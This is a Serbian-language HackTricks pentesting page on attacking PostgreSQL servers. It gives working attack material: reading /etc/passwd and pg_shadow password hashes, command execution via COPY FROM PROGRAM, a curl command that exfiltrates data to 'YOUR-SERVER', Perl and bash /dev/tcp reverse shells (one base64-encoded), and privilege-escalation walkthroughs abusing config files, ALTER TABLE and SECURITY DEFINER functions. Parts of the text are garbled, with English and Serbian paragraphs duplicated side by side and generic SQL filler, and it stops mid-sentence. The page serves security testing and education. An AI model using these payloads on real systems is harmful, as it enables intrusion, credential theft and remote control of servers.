# 5432,5433 - Pentestiranje Postgresql
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## **Osnovne informacije** **PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik, već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da rukuje širokim spektrom tipova podataka i operacija, čineći ga fleksibilnim izborom za programere i organizacije. **Podrazumevani port:** 5432, a ako je ovaj port već zauzet, izgleda da će postgresql koristiti sledeći port (verovatno 5433) koji nije zauzet. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## Povezivanje i osnovno prebrojavanje ### Povezivanje Da biste se povezali sa PostgreSQL bazom podataka, možete koristiti `psql` komandu: ```bash psql -h -p -U -d ``` Gde su sledeći parametri: - ``: IP adresa ili ime hosta na kojem se nalazi PostgreSQL server. - ``: Broj porta na kojem je PostgreSQL server otvoren (podrazumevana vrednost je 5432). - ``: Korisničko ime za autentifikaciju na PostgreSQL serveru. - ``: Ime baze podataka koju želite da koristite. ### Osnovno prebrojavanje Nakon uspešnog povezivanja sa PostgreSQL bazom podataka, možete izvršiti nekoliko osnovnih komandi za prebrojavanje: - `SELECT version();`: Prikazuje verziju PostgreSQL servera. - `SELECT current_user;`: Prikazuje trenutno prijavljenog korisnika. - `SELECT current_database();`: Prikazuje trenutno korišćenu bazu podataka. - `SELECT * FROM pg_user;`: Prikazuje sve korisnike u bazi podataka. - `SELECT * FROM pg_database;`: Prikazuje sve baze podataka na serveru. Ove komande vam mogu pružiti osnovne informacije o PostgreSQL serveru i bazi podataka sa kojom radite. ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` {% hint style="warning" %} Ako pokrenete **`\list`** i pronađete bazu podataka nazvanu **`rdsadmin`**, znate da se nalazite unutar **AWS postgresql baze podataka**. {% endhint %} Za više informacija o **zlostavljanju PostgreSQL baze podataka** pogledajte: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) {% endcontent-ref %} ## Automatsko nabrojavanje ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) ### **Skeniranje porta** Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` izbacuje izuzetak `sqlclient_unable_to_establish_sqlconnection` koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni ispod. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` * Host je nedostupan `DETALJI: nije bilo moguće uspostaviti vezu sa serverom: Nema rute do hosta. Da li je server pokrenut na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?` * Port je zatvoren ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` * Porta je otvorena ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` ili ``` DETAIL: FATAL: password authentication failed for user "name" ``` * Port je otvoren ili filtriran ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako nije izvodljivo izvući korisnička imena i lozinke iz sistemskih tabela, možete razmotriti korišćenje metode napada rečnikom koja je opisana u prethodnom odeljku, jer bi mogla dati pozitivne rezultate. ## Enumeracija privilegija ### Uloge | Tipovi uloga | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Uloga ima privilegije superkorisnika | | rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada | | rolcreaterole | Uloga može kreirati druge uloge | | rolcreatedb | Uloga može kreirati baze podataka | | rolcanlogin | Uloga može se prijaviti. To znači da se ova uloga može koristiti kao početni identifikator sesije | | rolreplication | Uloga je replikaciona uloga. Replikaciona uloga može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. | | rolconnlimit | Za uloge koje se mogu prijaviti, ovo postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači da nema ograničenja. | | rolpassword | Ne lozinka (uvek se prikazuje kao `********`) | | rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka | | rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. | | rolconfig | Specifične podrazumevane vrednosti za konfiguracione promenljive tokom izvršavanja | | oid | ID uloge | #### Interesantne grupe * Ako ste član **`pg_execute_server_program`** možete **izvršavati** programe * Ako ste član **`pg_read_server_files`** možete **čitati** fajlove * Ako ste član **`pg_write_server_files`** možete **pisati** fajlove {% hint style="info" %} Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isto**. To samo zavisi od **načina na koji se koristi** i da li mu je **omogućeno prijavljivanje**. {% endhint %} ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### Tabele --- #### Enumerating Tables #### Enumeracija tabela To enumerate the tables in a PostgreSQL database, you can use the following SQL query: Da biste izlistali tabele u PostgreSQL bazi podataka, možete koristiti sledeći SQL upit: ```sql SELECT table_name FROM information_schema.tables WHERE table_schema='public'; ``` This query will return the names of all tables in the "public" schema. Ovaj upit će vratiti imena svih tabela u šemi "public". --- #### Extracting Data from Tables #### Izvlačenje podataka iz tabela To extract data from a specific table, you can use the following SQL query: Da biste izvukli podatke iz određene tabele, možete koristiti sledeći SQL upit: ```sql SELECT * FROM table_name; ``` Replace "table_name" with the name of the table you want to extract data from. Zamenite "table_name" sa imenom tabele iz koje želite izvući podatke. --- #### Modifying Data in Tables #### Modifikacija podataka u tabelama To modify data in a table, you can use the following SQL queries: Da biste modifikovali podatke u tabeli, možete koristiti sledeće SQL upite: - **Inserting Data**: Use the `INSERT INTO` statement to insert new data into a table. - **Ubacivanje podataka**: Koristite `INSERT INTO` naredbu da biste ubacili nove podatke u tabelu. ```sql INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...); ``` - **Updating Data**: Use the `UPDATE` statement to update existing data in a table. - **Ažuriranje podataka**: Koristite `UPDATE` naredbu da biste ažurirali postojeće podatke u tabeli. ```sql UPDATE table_name SET column1=value1, column2=value2, ... WHERE condition; ``` - **Deleting Data**: Use the `DELETE FROM` statement to delete data from a table. - **Brisanje podataka**: Koristite `DELETE FROM` naredbu da biste obrisali podatke iz tabele. ```sql DELETE FROM table_name WHERE condition; ``` Replace "table_name" with the name of the table you want to modify, and adjust the column names, values, and conditions accordingly. Zamenite "table_name" sa imenom tabele koju želite da modifikujete, i prilagodite imena kolona, vrednosti i uslove prema potrebi. --- #### Dropping Tables #### Brisanje tabela To drop a table from a PostgreSQL database, you can use the following SQL query: Da biste obrisali tabelu iz PostgreSQL baze podataka, možete koristiti sledeći SQL upit: ```sql DROP TABLE table_name; ``` Replace "table_name" with the name of the table you want to drop. Zamenite "table_name" sa imenom tabele koju želite da obrišete. ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### Funkcije Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be called using the `SELECT` statement. #### Creating Functions To create a function in PostgreSQL, you can use the following syntax: ```sql CREATE FUNCTION function_name ([parameter1 data_type [, parameter2 data_type [, ...]]]) RETURNS return_type LANGUAGE language_name AS $$ -- Function body $$; ``` - `function_name`: The name of the function. - `parameter1, parameter2, ...`: The input parameters of the function, each with its data type. - `return_type`: The data type of the value returned by the function. - `language_name`: The programming language used to write the function body. #### Example Let's create a simple function that calculates the square of a number: ```sql CREATE FUNCTION square(num INTEGER) RETURNS INTEGER LANGUAGE SQL AS $$ SELECT num * num; $$; ``` #### Calling Functions To call a function in PostgreSQL, you can use the `SELECT` statement: ```sql SELECT function_name([argument1 [, argument2 [, ...]]]); ``` - `function_name`: The name of the function. - `argument1, argument2, ...`: The arguments passed to the function. #### Example Let's call the `square` function we created earlier: ```sql SELECT square(5); ``` This will return the value `25`, which is the square of `5`. ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## Akcije na fajl-sistemu ### Čitanje direktorijuma i fajlova Od ovog [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (poznate kao **`pg_read_server_files`**) i **super korisnici** mogu koristiti metodu **`COPY`** na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` {% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole **CREATEROLE**, možete **postati član te grupe:** ```sql GRANT pg_read_server_files TO username; ``` [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje fajlova ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` Možete pronaći **više funkcija** na [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) ### Jednostavno pisanje datoteka Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti copy za pisanje datoteka. {% code overflow="wrap" %} ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` {% endcode %} {% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, možete **postati član te grupe:** ```sql GRANT pg_write_server_files TO username; ``` [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Zapamtite da COPY ne može rukovati sa znakovima za novi red, stoga čak i ako koristite base64 payload, **morate poslati jednolinijski kod**.\ Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer menja neke binarne vrednosti**. ### **Slanje binarnih fajlova** Međutim, postoje **druge tehnike za slanje velikih binarnih fajlova:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) {% endcontent-ref %} ## **Savet za bug bounty**: **registrujte se** na **Intigriti**, premium platformu za **bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## RCE ### **RCE ka programu** Od verzije 9.3, samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti copy za RCE (primer sa eksfiltracijom: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` Primer za izvršavanje: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` {% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, možete **postati član te grupe:** ```sql GRANT pg_execute_server_program TO username; ``` [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\ Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo bila [funkcionalnost i neće biti popravljena](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE sa PostgreSQL jezicima {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} [rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md) {% endcontent-ref %} ### RCE sa PostgreSQL ekstenzijama Kada ste **naučili** iz prethodnog posta **kako da otpremate binarne fajlove**, možete pokušati da dobijete **RCE otpremanjem PostgreSQL ekstenzije i učitavanjem** iste. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %} ### RCE sa konfiguracionim fajlom PostgreSQL-a **Konfiguracioni fajl** PostgreSQL-a je **moguće menjati** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati fajlove na fajl sistemu i samim tim možete ga **prepisati**. ![](<../.gitbook/assets/image (303).png>) #### **RCE sa ssl\_passphrase\_command** Više informacija [o ovoj tehnici ovde](https://pulsesecurity.co.nz/articles/postgres-sqli). Konfiguracioni fajl ima neke interesantne atribute koji mogu dovesti do RCE: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Putanja do privatnog ključa baze podataka * `ssl_passphrase_command = ''` Ako je privatni fajl zaštićen lozinkom (šifrovan), PostgreSQL će **izvršiti komandu koja je navedena u ovom atributu**. * `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen**, **komanda** koja se izvršava ako je ključ zaštićen lozinkom **će se izvršiti** kada se izvrši `pg_reload_conf()`. Zatim, napadač će morati da: 1. **Izvuče privatni ključ** sa servera 2. **Šifruje** preuzeti privatni ključ: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Prepiše** 4. **Izvuče** trenutnu konfiguraciju PostgreSQL-a 5. **Prepiše** konfiguraciju sa pomenutim atributima konfiguracije: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Izvrši `pg_reload_conf()` Prilikom testiranja primetio sam da ovo funkcioniše samo ako **privatni ključ ima privilegije 640**, vlasnik je **root** i pripada **grupi ssl-cert ili postgres** (tako da postgres korisnik može da ga čita) i nalazi se u _/var/lib/postgresql/12/main_. #### **RCE sa archive\_command** **Više** [**informacija o ovoj konfiguraciji i o WAL-u ovde**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** Još jedan atribut u konfiguracionom fajlu koji je iskoristiv je `archive_command`. Da bi ovo funkcionisalo, postavka `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, onda možemo prepisati komandu u `archive_command` i naterati je da se izvrši putem operacija WAL (write-ahead logging). Opšti koraci su: 1. Proverite da li je omogućen režim arhiviranja: `SELECT current_setting('archive_mode')` 2. Prepišite `archive_command` sa payload-om. Na primer, obrnuti shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Ponovo učitajte konfiguraciju: `SELECT pg_reload_conf()` 4. Prisilite izvršavanje operacije WAL, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgres-a ## **Postgres Privesc** ### CREATEROLE Privesc #### **Grant** Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** superkorisnik._ Dakle, ako imate dozvolu **`CREATEROLE`**, možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) koje vam mogu omogućiti čitanje i pisanje fajlova i izvršavanje komandi: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Promena lozinke Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **ne-superkorisnika**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc do SUPERUSER-a Prilično je uobičajeno da **lokalni korisnici mogu se prijaviti u PostgreSQL bez unošenja lozinke**. Stoga, kada ste stekli **dozvole za izvršavanje koda**, možete zloupotrijebiti te dozvole kako biste dobili ulogu **`SUPERUSER`**: ```sql -- Create a new user with superuser privileges CREATE USER malicious_user SUPERUSER; -- Set the password for the new user ALTER USER malicious_user WITH PASSWORD 'password'; -- Login as the new user \c -U malicious_user -- Now you have superuser privileges ``` Ovaj postupak omogućava da se stvori novi korisnik sa privilegijama superuser-a, postavi lozinka za novog korisnika i prijavi se kao taj korisnik kako bi se dobile superuser privilegije. ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` {% hint style="info" %} Ovo je obično moguće zbog sledećih linija u datoteci **`pg_hba.conf`**: ```bash # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust ``` {% endhint %} ### **ALTER TABLE privesc** U [**ovom objašnjenju**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) je objašnjeno kako je bilo moguće izvršiti **privesc** u Postgres GCP zloupotrebom privilegije ALTER TABLE koja je bila dodeljena korisniku. Kada pokušate da **dodelite vlasništvo nad tabelom drugom korisniku**, trebali biste dobiti **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP:
Spajajući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/ANALYZE** na **tabeli sa funkcijom indeksa**, funkcija se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom i dati vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim pokrenuti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Eksploatacija 1. Počnite tako što ćete kreirati novu tabelu. 2. Ubacite nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa. 3. Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi. 4. ALTERujte vlasnika tabele u "cloudsqladmin", što je superkorisnička uloga GCP-a koju isključivo koristi Cloud SQL za upravljanje i održavanje baze podataka. 5. Izvršite operaciju ANALYZE na tabeli. Ova akcija natera PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin". Kao rezultat toga, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin", čime se omogućava izvršavanje prethodno neovlašćene shell komande. U PostgreSQL-u, ovaj tok izgleda otprilike ovako: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` Zatim, tabela `shell_commands_results` će sadržati rezultate izvršenog koda: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Lokalna prijava Neki neispravno konfigurisani postgresql instanci mogu dozvoliti prijavu bilo kog lokalnog korisnika, moguće je lokalno se prijaviti sa 127.0.0.1 koristeći **`dblink` funkciju**: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` {% hint style="warning" %} Imajte na umu da za prethodni upit da bi radio **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate sa ```sql CREATE EXTENSION dblink; ``` {% endhint %} Ako imate lozinku korisnika sa većim privilegijama, ali korisniku nije dozvoljeno da se prijavi sa spoljnog IP-a, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` Moguće je proveriti da li ova funkcija postoji pomoću: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Korisnički definisana funkcija sa** SECURITY DEFINER [U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da izvrše privesc unutar postgres instanci koje je pružao IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER oznakom**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Kao što je [objašnjeno u dokumentaciji](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER oznakom se izvršava** sa privilegijama **korisnika koji je vlasnik funkcije**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili izvršava **privilegovane akcije sa parametrima koje kontroliše napadač**, može se zloupotrebiti za **povećanje privilegija unutar postgresa**. Na liniji 4 prethodnog koda možete videti da funkcija ima **SECURITY DEFINER oznaku**. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` I onda **izvršite komande**:
### Prođite kroz Burteforce sa PL/pgSQL **PL/pgSQL** je **potpuno opremljen programski jezik** koji nudi veću proceduralnu kontrolu u odnosu na SQL. Omogućava upotrebu **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Osim toga, **SQL izjave** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane koristeći **PL/pgSQL jezik**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju i automatizaciji baza podataka.\ **Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da izvrši brute-force napad na korisničke podatke.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### beleženje Unutar datoteke _**postgresql.conf**_ možete omogućiti beleženje postgresql logova promenom: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` Zatim, **ponovo pokrenite servis**. ### pgadmin [pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baze podataka.\ Možete pronaći **lozinke** unutar datoteke _**pgadmin4.db**_.\ Možete ih dešifrovati koristeći funkciju _**decrypt**_ unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg\_hba Klijentska autentifikacija u PostgreSQL-u se upravlja putem konfiguracione datoteke nazvane **pg_hba.conf**. Ova datoteka sadrži niz zapisa, pri čemu svaki zapis specificira tip konekcije, opseg IP adresa klijenta (ako je 